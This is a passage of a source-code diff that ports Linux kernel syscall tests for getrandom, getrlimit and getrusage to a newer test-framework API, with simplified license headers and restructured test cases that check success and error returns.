+++ b/testcases/kernel/syscalls/getrandom/getrandom01.c
@@ -5,9 +5,9 @@
  * Calls getrandom(2) with a NULL buffer and expects failure.
  */
 
+#include "tst_test.h"
 #include "lapi/getrandom.h"
 #include "lapi/syscalls.h"
-#include "tst_test.h"
 
 static int modes[] = {0, GRND_RANDOM, GRND_NONBLOCK,
 		      GRND_RANDOM | GRND_NONBLOCK};
diff --git a/testcases/kernel/syscalls/getrandom/getrandom02.c b/testcases/kernel/syscalls/getrandom/getrandom02.c
index 1384fc5..b79e4ed 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom02.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom02.c
@@ -6,9 +6,9 @@
  * and expects success.
  */
 
+#include "tst_test.h"
 #include "lapi/getrandom.h"
 #include "lapi/syscalls.h"
-#include "tst_test.h"
 
 #define PROC_ENTROPY_AVAIL "/proc/sys/kernel/random/entropy_avail"
 
diff --git a/testcases/kernel/syscalls/getrandom/getrandom03.c b/testcases/kernel/syscalls/getrandom/getrandom03.c
index 705f9b2..afeb65d 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom03.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom03.c
@@ -6,9 +6,9 @@
  * number of bytes required and expects success.
  */
 
+#include "tst_test.h"
 #include "lapi/getrandom.h"
 #include "lapi/syscalls.h"
-#include "tst_test.h"
 
 #define MAX_SIZE 256
 
diff --git a/testcases/kernel/syscalls/getrandom/getrandom04.c b/testcases/kernel/syscalls/getrandom/getrandom04.c
index 465e353..57b1488 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom04.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom04.c
@@ -7,9 +7,9 @@
  */
 
 #include <sys/resource.h>
+#include "tst_test.h"
 #include "lapi/getrandom.h"
 #include "lapi/syscalls.h"
-#include "tst_test.h"
 
 static void verify_getrandom(void)
 {
diff --git a/testcases/kernel/syscalls/getrlimit/getrlimit01.c b/testcases/kernel/syscalls/getrlimit/getrlimit01.c
index 68e8bf8..2a480df 100644
--- a/testcases/kernel/syscalls/getrlimit/getrlimit01.c
+++ b/testcases/kernel/syscalls/getrlimit/getrlimit01.c
@@ -1,108 +1,66 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) Wipro Technologies, 2002. All Rights Reserved.
- *   Author: Suresh Babu V. <suresh.babu@wipro.com>
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Wipro Technologies, 2002. All Rights Reserved.
+ * Author: Suresh Babu V. <suresh.babu@wipro.com>
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Verify that getrlimit(2) call will be successful for all possible resource
  * types.
  */
-#include <stdio.h>
-#include <errno.h>
-#include <sys/time.h>
+
 #include <sys/resource.h>
-#include "test.h"
+#include "tst_test.h"
 
-static void cleanup(void);
-static void setup(void);
-
-static struct rlimit rlim;
-static struct test_t {
+static struct tcase {
 	int res;
 	char *res_str;
-} testcases[] = {
-	{RLIMIT_CPU, "RLIMIT_CPU"},
-	{RLIMIT_FSIZE, "RLIMIT_FSIZE"},
-	{RLIMIT_DATA, "RLIMIT_DATA"},
-	{RLIMIT_STACK, "RLIMIT_STACK"},
-	{RLIMIT_CORE, "RLIMIT_CORE"},
-	{RLIMIT_RSS, "RLIMIT_RSS"},
-	{RLIMIT_NPROC, "RLIMIT_NPROC"},
-	{RLIMIT_NOFILE, "RLIMIT_NOFILE"},
-	{RLIMIT_MEMLOCK, "RLIMIT_MEMLOCK"},
-	{RLIMIT_AS, "RLIMIT_AS"},
-	{RLIMIT_LOCKS, "RLIMIT_LOCKS"},
-	{RLIMIT_MSGQUEUE, "RLIMIT_MSGQUEUE"},
+} tcases[] = {
+	{RLIMIT_CPU,        "RLIMIT_CPU"},
+	{RLIMIT_FSIZE,      "RLIMIT_FSIZE"},
+	{RLIMIT_DATA,       "RLIMIT_DATA"},
+	{RLIMIT_STACK,      "RLIMIT_STACK"},
+	{RLIMIT_CORE,       "RLIMIT_CORE"},
+	{RLIMIT_RSS,        "RLIMIT_RSS"},
+	{RLIMIT_NPROC,      "RLIMIT_NPROC"},
+	{RLIMIT_NOFILE,     "RLIMIT_NOFILE"},
+	{RLIMIT_MEMLOCK,    "RLIMIT_MEMLOCK"},
+	{RLIMIT_AS,         "RLIMIT_AS"},
+	{RLIMIT_LOCKS,      "RLIMIT_LOCKS"},
+	{RLIMIT_MSGQUEUE,   "RLIMIT_MSGQUEUE"},
 #ifdef RLIMIT_NICE
-	{RLIMIT_NICE, "RLIMIT_NICE"},
+	{RLIMIT_NICE,       "RLIMIT_NICE"},
 #endif
 #ifdef RLIMIT_RTPRIO
-	{RLIMIT_RTPRIO, "RLIMIT_RTPRIO"},
+	{RLIMIT_RTPRIO,     "RLIMIT_RTPRIO"},
 #endif
 	{RLIMIT_SIGPENDING, "RLIMIT_SIGPENDING"},
 #ifdef RLIMIT_RTTIME
-	{RLIMIT_RTTIME, "RLIMIT_RTTIME"},
+	{RLIMIT_RTTIME,     "RLIMIT_RTTIME"},
 #endif
 };
 
-char *TCID = "getrlimit01";
-int TST_TOTAL = ARRAY_SIZE(testcases);
-
-int main(int ac, char **av)
+static void verify_getrlimit(unsigned int i)
 {
-	int i;
-	int lc;
+	struct rlimit rlim;
+	struct tcase *tc = &tcases[i];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(getrlimit(tc->res, &rlim));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			TEST(getrlimit(testcases[i].res, &rlim));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL | TTERRNO,
-					 "getrlimit() test %s failed",
-					 testcases[i].res_str);
-			} else {
-				tst_resm(TPASS,
-					 "getrlimit() test %s success",
-					 testcases[i].res_str);
-			}
-		}
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO,
+			"getrlimit() test %s failed",
+			tc->res_str);
+	} else {
+		tst_res(TPASS,
+			"getrlimit() test %s success",
+			tc->res_str);
 	}
-
-	cleanup();
-	tst_exit();
 }
 
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_getrlimit,
+};
diff --git a/testcases/kernel/syscalls/getrlimit/getrlimit02.c b/testcases/kernel/syscalls/getrlimit/getrlimit02.c
index f477e20..586ca5a 100644
--- a/testcases/kernel/syscalls/getrlimit/getrlimit02.c
+++ b/testcases/kernel/syscalls/getrlimit/getrlimit02.c
@@ -1,159 +1,53 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) Wipro Technologies, 2002. All Rights Reserved.
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Wipro Technologies, 2002. All Rights Reserved.
+ * AUTHOR: Suresh Babu V. <suresh.babu@wipro.com>
  */
 
-/****************************************************************************
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: getrlimit02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: test for checking error conditions for getrlimit(2)
- *
- *    TEST CASE TOTAL	: 2
- *
- *    AUTHOR		: Suresh Babu V. <suresh.babu@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- * DESCRIPTION
- *      Verify that,
+ * Test for checking error conditions for getrlimit(2)
  *   1) getrlimit(2) returns -1 and sets errno to EFAULT if an invalid
  *	address is given for address parameter.
  *   2) getrlimit(2) returns -1 and sets errno to EINVAL if an invalid
  *	resource type (RLIM_NLIMITS is a out of range resource type) is
  *	passed.
- *
- * Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed and errno set == expected errno
- *		Issue sys call fails with expected return value and errno.
- *      Otherwise,
- *		Issue sys call failed to produce expected error.
- *
- *   Cleanup:
- *	Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  getrlimit02 [-c n] [-e] [-i n] [-I x] [-P x] [-p] [-t] [-h]
- *     where,  -c n  : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-p   : Pause for SIGUSR1 before startingt
- *		-t   : Turn on syscall timing.
- *		-h   : Display usage information.
- *
- ***************************************************************************/
-#include <stdio.h>
-#include <errno.h>
+ */
+
 #include <sys/resource.h>
-#include "test.h"
+#include "tst_test.h"
 
 #define RLIMIT_TOO_HIGH 1000
 
-char *TCID = "getrlimit02";
-
-static void cleanup(void);
-static void setup(void);
-
 static struct rlimit rlim;
-static struct test_case_t {
+
+static struct tcase {
 	int exp_errno;		/* Expected error no            */
 	char *exp_errval;	/* Expected error value string  */
 	struct rlimit *rlim;	/* rlimit structure             */
 	int res_type;		/* resource type                */
-
-} testcases[] = {
-#ifndef UCLINUX
-	/* Skip since uClinux does not implement memory protection */
-	{
-	EFAULT, "EFAULT", (void *)-1, RLIMIT_NOFILE},
-#endif
-	{
-	EINVAL, "EINVAL", &rlim, RLIMIT_TOO_HIGH}
+} tcases[] = {
+	{ EINVAL, "EINVAL", &rlim, RLIMIT_TOO_HIGH}
 };
 
-int TST_TOTAL = ARRAY_SIZE(testcases);
-
-int main(int ac, char **av)
+static void verify_getrlimit(unsigned int i)
 {
-	int i;
-	int lc;
+	struct tcase *tc = &tcases[i];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(getrlimit(tc->res_type, tc->rlim));
 
-	/* Do initial setup */
-	setup();
-
-	/* check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			/*
-			 * Test the system call.
-			 */
-			TEST(getrlimit(testcases[i].res_type,
-				       testcases[i].rlim));
-
-			if ((TEST_RETURN == -1) &&
-			    (TEST_ERRNO == testcases[i].exp_errno)) {
-				tst_resm(TPASS, "expected failure; got %s",
-					 testcases[i].exp_errval);
-			} else {
-				tst_resm(TFAIL, "call failed to produce "
-					 "expected error;  errno: %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			}
-		}
+	if ((TST_RET == -1) && (TST_ERR == tc->exp_errno)) {
+		tst_res(TPASS, "expected failure; got %s",
+			 tc->exp_errval);
+	} else {
+		tst_res(TFAIL, "call failed to produce "
+			 "expected error;  errno: %d : %s",
+			 TST_ERR, strerror(TST_ERR));
 	}
-	/* do cleanup and exit */
-	cleanup();
-
-	tst_exit();
 }
 
-/*
- * setup() - performs all one time setup for this test.
- */
-void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* Pause if the option was specified */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()  - performs all one time cleanup for this test
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_getrlimit,
+};
diff --git a/testcases/kernel/syscalls/getrusage/getrusage01.c b/testcases/kernel/syscalls/getrusage/getrusage01.c
index ef8df58..e0a7e28 100644
--- a/testcases/kernel/syscalls/getrusage/getrusage01.c
+++ b/testcases/kernel/syscalls/getrusage/getrusage01.c
@@ -1,120 +1,39 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * AUTHOR: Saji Kumar.V.R <saji.kumar@wipro.com>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: getrusage01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for getrusage(2)
- *
- *    TEST CASE TOTAL	: 2
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a Phase I test for the getrusage(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  if return code == 0
- *		Test Passed
- *	  else
- *		Test Failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  getrusage01 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f]
- * 			     [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <errno.h>
-#include <sched.h>
-#include <sys/resource.h>
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * Test that getrusage() with RUSAGE_SELF and RUSAGE_CHILDREN succeeds.
+ */
 
-static void setup();
-static void cleanup();
+#include "tst_test.h"
 
-char *TCID = "getrusage01";
-int who[2] = { RUSAGE_SELF, RUSAGE_CHILDREN };
+static struct rusage *usage;
 
-int TST_TOTAL = 2;
+struct test_case_t {
+	int who;
+	char *desc;
+} tc[] = {
+	{RUSAGE_SELF, "RUSAGE_SELF"},
+	{RUSAGE_CHILDREN, "RUSAGE_CHILDREN"},
+};
 
-int main(int ac, char **av)
+static void run(unsigned int i)
 {
 
-	int lc, i;
-	struct rusage usage;
+	TST_EXP_PASS(getrusage(tc[i].who, usage), "getrusage(%s, %p)", tc[i].desc, usage);
+}
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(getrusage(who[i], &usage));
-
-			if (TEST_RETURN == 0)
-				tst_resm(TPASS, "getrusage passed");
-			else
-				tst_resm(TFAIL | TTERRNO, "getrusage failed");
-		}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tc),
+	.test = run,
+	.bufs = (struct tst_buffers[]) {
+		{&usage, .size = sizeof(struct rusage)},
+		{}
 	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-void cleanup(void)
-{
-}
+};
diff --git a/testcases/kernel/syscalls/getrusage/getrusage02.c b/testcases/kernel/syscalls/getrusage/getrusage02.c
index 8077606..7676630 100644
--- a/testcases/kernel/syscalls/getrusage/getrusage02.c
+++ b/testcases/kernel/syscalls/getrusage/getrusage02.c
@@ -1,145 +1,80 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * AUTHOR : Saji Kumar.V.R <saji.kumar@wipro.com>
  */
-/**********************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: getrusage02
+ * Verify that getrusage() fails with:
  *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Tests for error conditions
- *
- *    TEST CASE TOTAL	: 2
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that
- *	1) getrusage() fails with errno EINVAL when an invalid value
- *	   is given for who
- *	2) getrusage() fails with errno EFAULT when an invalid address
- *	   is given for usage
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  if call failed with expected errno,
- *		Test Passed
- *	  else
- *		Test Failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  getrusage02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f]
- * 			     [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
+ * - EINVAL with invalid who
+ * - EFAULT with invalid usage pointer
+ */
 
 #include <errno.h>
 #include <sched.h>
 #include <sys/resource.h>
-#include "test.h"
-
-#ifndef RUSAGE_BOTH		/* Removed from user space on RHEL4 */
-#define RUSAGE_BOTH (-2)	/* still works on SuSE      */
-#endif /* so this is a work around */
-
-static void setup();
-static void cleanup();
-
-char *TCID = "getrusage02";
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
 static struct rusage usage;
 
-struct test_cases_t {
+static int libc_getrusage(int who, void *usage)
+{
+	return getrusage(who, usage);
+}
+
+static int sys_getrusage(int who, void *usage)
+{
+	return tst_syscall(__NR_getrusage, who, usage);
+}
+
+struct tc_t {
 	int who;
 	struct rusage *usage;
 	int exp_errno;
-} test_cases[] = {
-	{
-	RUSAGE_BOTH, &usage, EINVAL},
-#ifndef UCLINUX
-	{
-	RUSAGE_SELF, (struct rusage *)-1, EFAULT}
+} tc[] = {
+	{-2, &usage, EINVAL},
+	{RUSAGE_SELF, (struct rusage *)-1, EFAULT}
+};
+
+static struct test_variants
+{
+	int (*getrusage)(int who, void *usage);
+	char *desc;
+} variants[] = {
+	{ .getrusage = libc_getrusage, .desc = "libc getrusage()"},
+#if (__NR_getrusage != __LTP__NR_INVALID_SYSCALL)
+	{ .getrusage = sys_getrusage,  .desc = "__NR_getrusage syscall"},
 #endif
 };
 
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
+static void verify_getrusage(unsigned int i)
 {
+	struct test_variants *tv = &variants[tst_variant];
 
-	int lc, i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(getrusage(test_cases[i].who, test_cases[i].usage));
-
-			if (TEST_RETURN == -1 &&
-			    TEST_ERRNO == test_cases[i].exp_errno)
-				tst_resm(TPASS | TTERRNO,
-					 "getrusage failed as expected");
-			else
-				tst_resm(TFAIL | TTERRNO,
-					 "getrusage failed unexpectedly");
-		}
+	if (tc[i].exp_errno == EFAULT &&
+	    tv->getrusage == libc_getrusage) {
+		tst_res(TCONF, "EFAULT is skipped for libc variant");
+		return;
 	}
 
-	cleanup();
-
-	tst_exit();
-
+	TST_EXP_FAIL(tv->getrusage(tc[i].who, tc[i].usage), tc[i].exp_errno,
+	             "getrusage(%i, %p)", tc[i].who, tc[i].usage);
 }
 
-void setup(void)
+static void setup(void)
 {
+	struct test_variants *tv = &variants[tst_variant];
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
+	tst_res(TINFO, "Testing variant: %s", tv->desc);
 }
 
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test = verify_getrusage,
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tc),
+	.test_variants = ARRAY_SIZE(variants),
+};
diff --git a/testcases/kernel/syscalls/getrusage/getrusage03.c b/testcases/kernel/syscalls/getrusage/getrusage03.c
index 125acfc..7e7a1f5 100644
--- a/testcases/kernel/syscalls/getrusage/getrusage03.c
+++ b/testcases/kernel/syscalls/getrusage/getrusage03.c
@@ -1,353 +1,192 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
- * getrusage03 - test ru_maxrss behaviors in struct rusage
- *
- * This test program is backported from upstream commit:
- * 1f10206cf8e945220f7220a809d8bfc15c21f9a5, which fills ru_maxrss
- * value in struct rusage according to rss hiwater mark. To make sure
- * this feature works correctly, a series of tests are executed in
- * this program.
- *
  * Copyright (C) 2011  Red Hat, Inc.
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
+ * Copyright (C) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
-#include <sys/types.h>
-#include <sys/mman.h>
-#include <sys/resource.h>
-#include <sys/time.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <signal.h>
-#include <stdio.h>
+
+/*\
+ * [Description]
+ *
+ * Test ru_maxrss behaviors in struct rusage.
+ *
+ * This test program is backported from upstream commit: 1f10206cf8e9, which
+ * fills ru_maxrss value in struct rusage according to rss hiwater mark. To
+ * make sure this feature works correctly, a series of tests are executed in
+ * this program.
+ */
+
 #include <stdlib.h>
-#include <string.h>
+#include <stdio.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "getrusage03.h"
 
-char *TCID = "getrusage03";
-int TST_TOTAL = 1;
-
-#define DELTA_MAX	10240
+#define TESTBIN "getrusage03_child"
 
 static struct rusage ru;
 static long maxrss_init;
-static int retval, status;
-static pid_t pid;
 
-static void inherit_fork(void);
-static void inherit_fork2(void);
-static void fork_malloc(void);
-static void grandchild_maxrss(void);
-static void zombie(void);
-static void sig_ign(void);
-static void exec_without_fork(void);
-static void check_return(int status, char *pass_msg, char *fail_msg);
-static int is_in_delta(long value);
-static void consume(int mega);
-static void setup(void);
-static void cleanup(void);
+static const char *const resource[] = {
+	TESTBIN,
+	NULL,
+};
 
-int main(int argc, char *argv[])
+static void inherit_fork1(void)
 {
-	int lc;
+	SAFE_GETRUSAGE(RUSAGE_SELF, &ru);
+	maxrss_init = ru.ru_maxrss;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	if (!SAFE_FORK()) {
+		SAFE_GETRUSAGE(RUSAGE_SELF, &ru);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		tst_resm(TINFO, "allocate 100MB");
-		consume(100);
-
-		inherit_fork();
-		inherit_fork2();
-		fork_malloc();
-		grandchild_maxrss();
-		zombie();
-		sig_ign();
-		exec_without_fork();
+		if (is_in_delta(maxrss_init - ru.ru_maxrss))
+			tst_res(TPASS, "initial.self ~= child.self");
+		else
+			tst_res(TFAIL, "child.self = %li, expected %li",
+				ru.ru_maxrss, maxrss_init);
+		exit(0);
 	}
-	cleanup();
-	tst_exit();
+	tst_reap_children();
 }
 
-/* Testcase #01: fork inherit
- * expect: initial.self ~= child.self */
-static void inherit_fork(void)
-{
-	tst_resm(TINFO, "Testcase #01: fork inherit");
-
-	SAFE_GETRUSAGE(cleanup, RUSAGE_SELF, &ru);
-	tst_resm(TINFO, "initial.self = %ld", ru.ru_maxrss);
-
-	switch (pid = fork()) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork #1");
-	case 0:
-		maxrss_init = ru.ru_maxrss;
-		SAFE_GETRUSAGE(cleanup, RUSAGE_SELF, &ru);
-		tst_resm(TINFO, "child.self = %ld", ru.ru_maxrss);
-		exit(is_in_delta(maxrss_init - ru.ru_maxrss));
-	default:
-		break;
-	}
-
-	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
-	check_return(WEXITSTATUS(status), "initial.self ~= child.self",
-		     "initial.self !~= child.self");
-}
-
-/* Testcase #02: fork inherit (cont.)
- * expect: initial.children ~= 100MB, child.children = 0 */
 static void inherit_fork2(void)
 {
-	tst_resm(TINFO, "Testcase #02: fork inherit(cont.)");
+	SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
 
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "initial.children = %ld", ru.ru_maxrss);
 	if (is_in_delta(ru.ru_maxrss - 102400))
-		tst_resm(TPASS, "initial.children ~= 100MB");
+		tst_res(TPASS, "initial.children ~= 100MB");
 	else
-		tst_resm(TFAIL, "initial.children !~= 100MB");
+		tst_res(TFAIL, "initial.children = %li, expected %i",
+			ru.ru_maxrss, 102400);
 
-	switch (pid = fork()) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork #2");
-	case 0:
-		SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-		tst_resm(TINFO, "child.children = %ld", ru.ru_maxrss);
-		exit(ru.ru_maxrss == 0);
-	default:
-		break;
+	if (!SAFE_FORK()) {
+		SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
+
+		if (!ru.ru_maxrss)
+			tst_res(TPASS, "child.children == 0");
+		else
+			tst_res(TFAIL, "child.children = %li, expected %i",
+				ru.ru_maxrss, 0);
+		exit(0);
 	}
-
-	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
-	check_return(WEXITSTATUS(status), "child.children == 0",
-		     "child.children != 0");
+	tst_reap_children();
 }
 
-/* Testcase #03: fork + malloc
- * expect: initial.self + 50MB ~= child.self */
-static void fork_malloc(void)
-{
-	tst_resm(TINFO, "Testcase #03: fork + malloc");
-
-	SAFE_GETRUSAGE(cleanup, RUSAGE_SELF, &ru);
-	tst_resm(TINFO, "initial.self = %ld", ru.ru_maxrss);
-
-	switch (pid = fork()) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork #3");
-	case 0:
-		maxrss_init = ru.ru_maxrss;
-		tst_resm(TINFO, "child allocate +50MB");
-		consume(50);
-		SAFE_GETRUSAGE(cleanup, RUSAGE_SELF, &ru);
-		tst_resm(TINFO, "child.self = %ld", ru.ru_maxrss);
-		exit(is_in_delta(maxrss_init + 51200 - ru.ru_maxrss));
-	default:
-		break;
-	}
-
-	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
-	check_return(WEXITSTATUS(status), "initial.self + 50MB ~= child.self",
-		     "initial.self + 50MB !~= child.self");
-}
-
-/* Testcase #04: grandchild maxrss
- * expect: post_wait.children ~= 300MB */
 static void grandchild_maxrss(void)
 {
-	tst_resm(TINFO, "Testcase #04: grandchild maxrss");
+	if (!SAFE_FORK())
+		SAFE_EXECLP("getrusage03_child", "getrusage03_child",
+			    "grand_consume", "300", NULL);
+	tst_reap_children();
+	SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
 
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "initial.children = %ld", ru.ru_maxrss);
-
-	switch (pid = fork()) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork #4");
-	case 0:
-		retval = system("getrusage03_child -g 300");
-		if ((WIFEXITED(retval) && WEXITSTATUS(retval) != 0))
-			tst_brkm(TBROK | TERRNO, cleanup, "system");
-		exit(0);
-	default:
-		break;
-	}
-
